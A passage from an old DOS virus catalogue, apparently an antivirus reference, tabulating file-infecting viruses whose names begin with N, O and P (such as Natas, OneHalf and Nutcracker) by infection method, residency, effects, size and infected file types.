ºMirror.4130 (2)¦INT ¦MCB ¦ - ¦4130 ¦ CE * ¦ e ¦ L+? º
ºMixx.570 ¦INT ¦MCB ¦ - ¦570 ¦ E * ¦ e ¦ L+p º
ºMonarch.1040 ¦INFI¦KEEP¦ HEr¦1040 ¦ .C.E * ¦ e ¦ L º
ºMoose.353 ¦FIND¦ - ¦ - ¦353 ¦ .C ¦ e ¦ L º
ºMoskau.800 ¦FIND¦ - ¦ - ¦800 ¦ .C&C * ¦ e ¦ L º
ºMosquito.768 ¦INT ¦MCB ¦ChEr¦768 ¦ E * ¦ i ¦ L º
ºMP.1024 ¦FIND¦ - ¦ H ¦1024 ¦ .C * ¦ e ¦ L º
ºMrRat.1278 ¦INT ¦MCB ¦ Ch ¦1278 ¦ CE * ¦ e ¦ L º
ºMrta.2776 ¦FIND¦ - ¦ H ¦2776 ¦ .C.E ¦ s ¦ 0, overwrite º
ºMs.1006 ¦FIND¦ - ¦ - ¦1006 ¦ .C * ¦ e ¦ L+p º
ºMst.322 ¦INT ¦INTB¦ V ¦322 ¦ .C * ¦ e ¦ L º
ºMuhamor.4608 ¦INT ¦KEEP¦ Ch ¦4608 ¦ .C.E&CE* ¦CsEi ¦ L º
ºMurcia.4651 ¦INT ¦KEEP¦VSEr¦4651 ¦ C * ¦ s ¦ L º
ºMutInt.680 ¦INT ¦MCB ¦ H ¦680 ¦ C ¦ e ¦ L º
ºMw.278 ¦INT ¦INTB¦ Er ¦278 ¦ .C * ¦ s ¦ L º
ºMyChild.1000(2)¦INT ¦MCB ¦ - ¦1000 ¦ CE * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part N
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºNadym.493 ¦FIND¦ - ¦ V ¦493 ¦ .C&C * ¦ e ¦ L º
ºNadym.934 ¦FIND¦ - ¦ V ¦934 ¦ .C&C * ¦ e ¦ L º
ºNadym.1058 ¦FIND¦ - ¦ Ch ¦1058 ¦ .C&C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNatas.4740 ¦INT ¦MCB ¦ H ¦4740 ¦ CE+boot *¦ e ¦ L º
ºNatas.4744 ¦INT ¦MCB ¦ H ¦4744 ¦ CE+boot *¦ e ¦ L º
ºNatas.4746 ¦INT ¦MCB ¦ HEr¦4746 ¦ CE+boot *¦ e ¦ L º
ºNatas.4766 ¦INT ¦MCB ¦ H ¦4766 ¦ CE+boot *¦ e ¦ L º
ºNatas.4774 ¦INT ¦MCB ¦ H ¦4774 ¦ CE+boot *¦ e ¦ L º
ºNatas.4786 ¦INT ¦MCB ¦ H ¦4786 ¦ CE+boot *¦ e ¦ L º
ºNatas.4826 ¦INT ¦MCB ¦ H ¦4826 ¦ CE+boot *¦ e ¦ L º
ºNatas.4918 ¦INT ¦MCB ¦ H ¦4918 ¦ CE *¦ e ¦ L º
ºNatas.4988 ¦INT ¦MCB ¦ H ¦4988 ¦ CE+boot *¦ e ¦ L º
ºNatas.5228 ¦INT ¦MCB ¦ H ¦5228 ¦ CE+boot *¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNax.858 ¦INT ¦MCB ¦ Er ¦858 ¦ .C * ¦ i ¦ L º
ºNax.1402 ¦INT ¦MCB ¦ Ch ¦1402 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNotice.974 ¦INT ¦MCB ¦ V ¦974 ¦ E * ¦ e ¦ L+p º
ºNotice.987 ¦INT ¦MCB ¦ V ¦987 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNuKe Encryption Device (NED) based º
Ç Ä Ä Ä Ä Ä Ä ÄÂÄ Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºNED.ItsHard ¦FIND¦ - ¦ H ¦1795 ¦ .C * ¦ e ¦ L+? º
º.Tester ¦FIND¦ - ¦ V ¦1708 ¦ .C * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNuker.Excess ¦INFI¦MCB ¦HVEr¦3536 ¦ .C&C* ¦ e ¦ L º
º.Trance.1688 ¦INT ¦MCB ¦ V ¦1688 ¦ C * ¦ e ¦ L º
º.Trance.1982 ¦INT ¦MCB ¦ HEr¦1982 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNeurobasher.AlphaINT¦MCB ¦ V ¦2000 ¦ CES* ¦ e ¦ L º
º.Avalanche ¦INT ¦MCB ¦ H ¦2818 ¦ CE * ¦ e ¦ L º
º.Havoc (2)¦INT ¦MCB ¦ V ¦4644 ¦ .E&E * ¦ e ¦ L+? º
º.N8Fall.527 ¦INT ¦MCB ¦ - ¦527 ¦ .E * ¦ s ¦ companion º
º.N8Fall.4518(2)¦INT ¦MCB ¦ V ¦4518 ¦ CEO * ¦ e ¦ L+(0-49) º
º.N8Fall.5770 ¦INT ¦MCB ¦ V ¦5770 ¦ CEO * ¦ e ¦ L+(0-49) º
º.N8Fall.5081 ¦INT ¦MCB ¦ V ¦5081 ¦ CEO * ¦ e ¦ L+(0-49) º
º.Tremor ¦INT ¦MCB ¦ V ¦4000 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNexivder.4224 ¦INT ¦MCB ¦ Er ¦4224 ¦ C+boot* ¦ i,e ¦ L º
ºNexivder.4286 ¦INT ¦MCB ¦ Er ¦4286 ¦ C+boot* ¦ i,e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNG.695 ¦INFI¦MCB ¦ - ¦695 ¦ .C&C* ¦ s ¦ L º
ºNG.706 ¦INFI¦KEEP¦ V ¦706 ¦ .C&C ¦ s ¦ L º
ºNG.914 ¦INFI¦KEEP¦ - ¦914 ¦ .C&C ¦ s ¦ L º
ºNG.1036 ¦INFI¦MCB ¦ Er ¦1036 ¦ .C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNinja.1181 ¦INT ¦MCB ¦ - ¦1181 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768º
ºNinja.1195 ¦INT ¦MCB ¦ - ¦1195 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768º
ºNinja.1225 ¦INT ¦MCB ¦ H ¦1225 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768º
ºNinja.1376 ¦INT ¦MCB ¦ HV ¦1376 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768º
ºNinja.1336 ¦INT ¦MCB ¦ HV ¦1336 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768º
ºNinja.1383 ¦INT ¦MCB ¦ - ¦1383 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNoFrills.835 ¦INT ¦MCB ¦ - ¦835 ¦ .C.E&CE * ¦ e ¦ L º
ºNoFrills.843 ¦INT ¦MCB ¦ - ¦843 ¦ .C.E&CE * ¦ e ¦ L º
ºNoFrills.1358 ¦INT ¦MCB ¦ Er ¦1358 ¦ .C .E&E ¦ e ¦ L º
ºNoFrills.1422 ¦INT ¦MCB ¦ VEr¦1422 ¦ .C.E&CE * ¦ e ¦ L º
º.Dudley ¦INT ¦MCB ¦ - ¦1153 ¦ .C.E&CE * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNovember17.768 ¦INT ¦MCB ¦ H ¦768 ¦ CE ¦ e ¦ L º
ºNovember17.800 ¦INT ¦MCB ¦ H ¦800 ¦ CE ¦ e ¦ L º
ºNovember17.855 ¦INT ¦MCB ¦ H ¦855 ¦ CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNpuxogum.1176 ¦INT ¦MCB ¦ V ¦1176 ¦ CE * ¦ e ¦ L º
ºNpuxogum.2025 ¦INT ¦MCB ¦ V ¦2025 ¦ CE * ¦ e ¦ L º
ºNpuxogum.2036 ¦INT ¦MCB ¦ V ¦2036 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNTU.Cawber ¦INT ¦MCB ¦ - ¦2138 ¦ .E&E * ¦ e ¦ L º
º.L'amour ¦INT ¦MCB ¦ H ¦3312 ¦ .E&E * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNuKE.Pox.609 ¦INT ¦MCB ¦ H ¦609 ¦ C * ¦ e ¦ L º
ºNuKE.Pox.900 ¦INT ¦MCB ¦ M ¦900 ¦ .C.E&CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNunjing.1284 ¦INT ¦MCB ¦ - ¦1284 ¦ CE ¦ e ¦ L º
ºNunjing.2976 ¦INT ¦MCB ¦ - ¦2976 ¦ CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNutcracker.88 ¦FIND¦ - ¦ Er ¦88 ¦ .C ¦ e ¦ L º
º.AB1.1924 ¦INT ¦MCB ¦ Ch ¦1924 ¦ CE * ¦ i ¦ L+? º
º.AB1.2244 ¦INT ¦MCB ¦ H ¦2244 ¦ CE * ¦ i ¦ L+? º
º.AB1.2620 ¦INT ¦MCB ¦ H ¦2620 ¦ CE * ¦ i ¦ L+? º
º.AB1.2722 ¦INT ¦MCB ¦ HS ¦2722 ¦ CE * ¦ i ¦ L+? º
º.AB2.2890 ¦INT ¦MCB ¦ HS ¦2890 ¦ CES+boot*¦ i ¦ L+? º
º.AB2.2990 ¦INT ¦MCB ¦HSEr¦2990 ¦ CES+boot*¦ i ¦ L+? º
º.AB2.3021 ¦INT ¦MCB ¦HSEr¦3021 ¦ CES+boot*¦ i ¦ L+? º
º.AB2.3472 ¦INT ¦MCB ¦HSEr¦3472 ¦ CES+boot*¦ i ¦ L+? º
º.AB2.4540 ¦INT ¦MCB ¦HVS ¦4540 ¦ CES+boot*¦ i ¦ L+? º
º.AB2.5375 ¦INT ¦MCB ¦ H ¦5375 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.5413 ¦INT ¦MCB ¦ H ¦5413 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.5440 ¦INT ¦MCB ¦ H ¦5440 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.5589 ¦INT ¦MCB ¦ H ¦5589 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.6082 ¦INT ¦MCB ¦ H ¦6082 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.6100 ¦INT ¦MCB ¦ H ¦6100 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.6425 ¦INT ¦MCB ¦HVEr¦6425 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.6500 ¦INT ¦MCB ¦HVEr¦6500 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.6727 ¦INT ¦MCB ¦HVEr¦6727 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.6982 ¦INT ¦MCB ¦ H ¦6982 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.6996 ¦INT ¦MCB ¦HVEr¦6996 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.7008 (2)¦INT ¦MCB ¦ H ¦7008 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.7033 (2)¦INT ¦MCB ¦ H ¦7033 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.7034 ¦INT ¦MCB ¦ H ¦7034 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB2.7640 ¦INT ¦MCB ¦ H ¦7640 ¦ CES+boot*¦ i,e ¦ L+? º
º.AB3 ¦INT ¦MCB ¦ H ¦2293 ¦ .C.E&CE* ¦ e ¦ L º
º.AB4 ¦INT ¦MCB ¦ H ¦3100 ¦ .C.E&CE* ¦ e ¦ L º
º.AB5.2725 ¦INT ¦MCB ¦ HV ¦2725 ¦ .C.E&CE* ¦ e ¦ L º
º.AB5.2900 ¦INT ¦MCB ¦ HV ¦2900 ¦ .C.E&CE* ¦ e ¦ L º
º.AB5.3139 ¦INT ¦MCB ¦ HV ¦3139 ¦ .C.E&CE* ¦ e ¦ L º
º.AB6 (4)¦INFI¦MCB ¦ HV ¦3500 ¦ CE+boot*¦ e ¦ L º
º.AB7 (2)¦INT ¦MCB ¦ V ¦2000 ¦ E * ¦ e ¦ L º
º.Info.2133 ¦INFI¦MCB ¦ V ¦2133 ¦ .C * ¦ s ¦ L º
º.Info.2142 ¦INFI¦MCB ¦ V ¦2142 ¦ .C * ¦ s ¦ L º
º.Info.2259 ¦INFI¦MCB ¦ V ¦2259 ¦ .C * ¦ s ¦ L º
º.Snowfall.945 ¦INT ¦MCB ¦ V ¦945 ¦ .C&C * ¦ e ¦ L º
º.Snowfall.1015(2INT ¦MCB ¦ V ¦1015 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºNaive.1647 ¦INT ¦MCB ¦ V ¦1647 ¦ E * ¦ e ¦ L º
ºNameless.3000 ¦INT ¦KEEP¦ HV ¦3000 ¦ .C.E * ¦ s ¦ L or L+5000 º
ºNcu-li.1688 ¦INT ¦MCB ¦ V ¦1688 ¦ E ¦ e ¦ L+p º
ºNeedLove.5000 ¦INT ¦MCB ¦ HV ¦5000 ¦ CE * ¦ s ¦ L º
ºNecropolis.1963¦INT ¦MCB ¦ - ¦1963 ¦ CE ¦CsEi ¦ 0 º
ºNecros.1164 ¦INT ¦KEEP¦ VS ¦1164 ¦ .C&C.E * ¦ s ¦ C-L, E-companion º
ºNeko.2697 ¦INT ¦KEEP¦ VEr¦2697 ¦ E * ¦ e ¦ L+p º
ºNessuno.2170 ¦INT ¦MCB ¦ H ¦2170 ¦ E * ¦ e ¦ L+? º
ºNet.4340 ¦INT ¦MCB ¦ H ¦4340 ¦ .C.E&CE* ¦ e ¦ L+p º
ºNextGen.2304 ¦INT ¦MCB ¦ - ¦2304 ¦ .E&E * ¦ e ¦ L+p+? º
ºNigeb.890 ¦INT ¦KEEP¦ HV ¦890 ¦ C * ¦ e ¦ L º
ºNight.2048 ¦INT ¦MCB ¦ HVS¦2048 ¦ CE ¦ e ¦ L+p º
ºNightKnight.1940INT ¦MCB ¦ H ¦1940 ¦ .C.E&CE ¦ e ¦ C-L+8, E-L+4 º
ºNikolas.1101 ¦INT ¦MCB ¦ - ¦1101 ¦ CE * ¦ e ¦ L º
ºNilz.1000 ¦INFI¦MCB ¦ HV ¦1000 ¦ E * ¦ e ¦ L º
ºNina.256 ¦INT ¦MCB ¦ - ¦256 ¦ C ¦ s ¦ L º
ºNinetyTwo.1148 ¦FIND¦ - ¦ V ¦1148 ¦ .E&E ¦ e ¦ L+p º
ºNki.3477 ¦INT ¦MCB ¦ HV ¦3477 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºNocopy.3695 ¦INT ¦KEEP¦ - ¦3695 ¦ .E&E * ¦ e ¦ L+p º
ºNoDBF.1000 ¦INT ¦MCB ¦ Ch ¦1000 ¦ E * ¦ e ¦ L+p º
ºNoGraph.784 ¦INT ¦MCB ¦ HCh¦784 ¦ .C&C * ¦ e ¦ L º
ºNoHope.257 ¦FIND¦ - ¦ - ¦257 ¦ .C ¦ e ¦ L º
ºNoki.448 ¦INT ¦INTB¦ - ¦448 ¦ E * ¦ i ¦ 0 º
ºNomenklatura.1024INT¦MCB ¦ - ¦1024 ¦ CE * ¦ e ¦ L º
ºNoPM.494 ¦INT ¦MCB ¦ - ¦494 ¦ C ¦ s ¦ L º
ºNoRemorse.1319 ¦FIND¦ - ¦ HV ¦1319 ¦ .C.E&CE* ¦ s ¦ C-L, E-companion º
ºNot.397 ¦INT ¦MCB ¦ - ¦397 ¦ .C&C ¦ e ¦ L º
ºNotAX.825 ¦INT ¦MCB ¦ - ¦825 ¦ CE ¦ e ¦ L+p º
ºNsd.266 ¦FIND¦ - ¦ V ¦266 ¦ .C * ¦ e ¦ L º
ºNsi.1509 ¦INT ¦ADDR¦ HEr¦1509 ¦ .C.E&CE* ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part O
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºOldYankee.1961 ¦FIND¦ - ¦ S ¦1961 ¦ .E&E * ¦ e ¦ L º
º.Bandit ¦FIND¦ - ¦ H ¦1641 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºOneHalf.3544(7)¦INT ¦MCB ¦ HV ¦3544 ¦.C.E&CE+boot i+e ¦ L * º
ºOneHalf.3570 ¦INT ¦MCB ¦ HV ¦3570 ¦.C.E&CE+boot i+e ¦ L * º
ºOneHalf.3577 ¦INT ¦MCB ¦ HV ¦3577 ¦.C.E&CE+boot i+e ¦ L * º
ºOneHalf.3666 ¦INT ¦MCB ¦ HV ¦3666 ¦.C.E&CE+boot i+e ¦ L * º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºOrion.262 ¦INT ¦ * ¦ - ¦262 ¦ C ¦ s ¦ L º
ºOrion.365 ¦INT ¦ * ¦ - ¦365 ¦ C ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºOS/2 - viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºOS2.Arelocs ¦FIND¦ - ¦ - ¦1772 ¦NewExe (NE)¦ i ¦ L+p º
º.First ¦FIND¦ - ¦ HV ¦2048 ¦NewExe (LX)¦ s ¦ 0, overwrite º
º.Jiskefet ¦FIND¦ - ¦ - ¦2048 ¦NewExe (LX)¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºOxana.747 ¦INT ¦MCB ¦ - ¦747 ¦ E * ¦ e ¦ L+p º
ºOxana.819 ¦INT ¦MCB ¦ - ¦819 ¦ E * ¦ e ¦ L+p º
ºOxana.1419 ¦INT ¦MCB ¦ V ¦1419 ¦ E * ¦ e ¦ L+17 º
ºOxana.1555 ¦INT ¦MCB ¦ V ¦1555 ¦ E * ¦ e ¦ L+17 º
ºOxana.1653 ¦INT ¦MCB ¦ V ¦1653 ¦ E * ¦ e ¦ L+17 º
ºOxana.1654 ¦INT ¦MCB ¦ - ¦1654 ¦ E * ¦ e ¦ L+17 º
ºOxana.1702 ¦INT ¦MCB ¦ V ¦1702 ¦ E * ¦ e ¦ L+17 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºObid.555 ¦FIND¦ - ¦ V ¦555 ¦ .C * ¦ e ¦ L º
ºOcean.1021 ¦INT ¦MCB ¦ HV ¦1021 ¦ C ¦ e ¦ L º
ºOcsana.692 ¦INT ¦MCB ¦ VEr¦692 ¦ .C * ¦ s ¦ L º
ºOdium.613 ¦FIND¦ - ¦ H ¦613 ¦ .C&C * ¦ e ¦ L º
ºOgwo.446 ¦FIND¦ - ¦ - ¦446 ¦ .C ¦ e ¦ L+p º
ºOhLaLa.1895 ¦FIND¦ - ¦ VS ¦1895 ¦ .C.E&CE* ¦ e ¦ L º
ºOhm.777 ¦INT ¦MCB ¦ H ¦777 ¦ CE ¦ e ¦ L º
ºOkYes.1257 ¦FIND¦ - ¦ HVS¦1257 ¦ .C.E * ¦CsEe ¦ C-L, E-L+18+p º
ºOlenka.6144 ¦INT ¦MCB ¦ V ¦6144 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ºOlga.4448 ¦INT ¦MCB ¦ HV ¦4448 ¦ C * ¦ s ¦ L º
ºOmega.440 ¦FIND¦ - ¦ H ¦440 ¦ .C ¦ e ¦ L º
ºOntario.512 ¦INT ¦MCB ¦ - ¦512 ¦ CE ¦ e ¦ C-L, E-L+p º
ºOolong.1380 ¦INT ¦KEEP¦ Er ¦1380 ¦ .C.E ¦ e ¦ L º
ºOops.600 ¦INT ¦KEEP¦ V ¦600 ¦ C * ¦ e ¦ L º
ºOtti.937 ¦FIND¦ - ¦ H ¦937 ¦ .C * ¦ e ¦ L º
ºOx.475 ¦INT ¦MCB ¦ - ¦475 ¦ C * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part P
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºPamyat.2000 (5)¦FIND¦ - ¦ V ¦2000 ¦ .C.E&CE* ¦ e ¦ L º
ºPamyat.3000 (2)¦FIND¦ - ¦ HV ¦3000 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPanda.1062 ¦FIND¦ - ¦ - ¦1062 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ºPanda.1070 ¦FIND¦ - ¦ - ¦1070 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPande.1516 ¦INT ¦MCB ¦ - ¦1516 ¦ CE * ¦ e ¦ L º
ºPande.1520 ¦INT ¦MCB ¦ - ¦1520 ¦ CE * ¦ e ¦ L º
ºPande.1532 ¦INT ¦MCB ¦ - ¦1532 ¦ CE * ¦ e ¦ L º
